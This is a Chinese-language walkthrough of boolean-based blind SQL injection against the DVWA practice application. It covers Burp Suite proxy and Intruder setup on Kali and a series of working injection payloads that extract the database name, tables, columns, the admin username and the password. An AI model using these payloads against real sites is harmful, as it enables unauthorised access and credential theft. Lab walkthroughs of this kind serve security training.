过程介绍:
首先逐步测试输入框,获取数据库基本信息。
猜解字符时,使用burpsuite工具爆破(kali端为例)
返回报错
返回报错
1' and (ascii(substr(database(),1,1))) = 115
返回正确,说明数据库名的长度为4
接下来用burp suite逐个字符爆破的方式来猜解数据库名
burpsuite在kali中的运行方式。
确保已经安装了java。
在这里打开终端,命令如图
java -jar burpsuite.......
proxy setting -- add点开这里会自动获取kali的ip地址,直接选它作为代理就行。设置端口号,选一个没有被系统进程占用的四位数就行,6666 7777 8888 9999都行
然后设置浏览器代理,如图位置
填写HTTP Proxy , Port ,勾选Also use this proxy for .....,点击OK完成。这里的代理地址就是我们的burpsuite监控代理,让Burpsuite得以监控浏览器流量
interrupt is on拦截流量,至此工具准备工作完成,守株待兔。
1' and (ascii(substr(database(),1,1))) = 115
猜解数据库名的第一个字符的assci码,发送请求命令,用burpsuite拦截后,借此制造爆破,根据返回的数据包判断出正确回复
抓到的包,报文右键send to intrudor
选择狙击手模式,选择要枚举爆破的字符位置,点击添加标记
设置payloads
97--122是a~z的assci码
点击右上角start attack
点击length按照长度排序。有一个数据包长度明显和其他的不一样,说明不是一个类型的回复。
可以看到该数据包是使用100作为参数时的时候的回复,
解开拦截,去用100试一试
确实得到了肯定回答。查表100对应的字母是d
后面更改字符位置参数为2,即可爆破第二位字符
1' and (ascii(substr(database(),2,1))) = 115 #
以此类推,四个字符全都被爆破出来,库名为dvwa
原理和基本方法介绍完毕,后续步骤 不作演示,命令如下。
第四步,猜解表名数量 id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=数量 第五步,猜解某个表长度 and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度
第六步,逐位猜解表名 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117# 这里limit 0,1 : 返回第一个表的表名,然后再通过substr截取出第一个字符,然后再通过ascii 函数来转换;第一个表第一个字符。 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=115# 第一个表第二个字符 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101# 第一个表第三个字符 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=114# 第一个表第四个字符 这样,表名是:user
第七步:猜解列名数量 id=1' and (select count(*) from information_schema.columns where table_schema =database() and table_name = 表名)=数量 第八步:猜解某个列长度 id=1' and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
第九步:逐位猜解列名 id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='user' limit 0,1),1,1)) >= 105 # 然后发现正确,然后发现是id,不需要,就改成 limit 1,1 依次,具体就得出了字段,分别为:id, username, password 第十步:判断数据的数量 id=1'and (select count(列名) from 表名)=数量# 第十一步:猜解某条数据的长度 and (select length(列名) from admin limit n,1)=长度
第十二步:逐位猜解数据 id=1'and (ascii(substr((select username from user limit 1,1),1,1)))=97--+ //a id=1'and (ascii(substr((select username from user limit 1,1),2,1)))=100--+ //d 然后依次寻找,得知是admin
密码猜解---密码思路也是一样 <A> 先确定密码长度 <B> 逐个密码猜解,sql语句类似,同 用户名 猜解 至此,整改网站管理后台沦陷。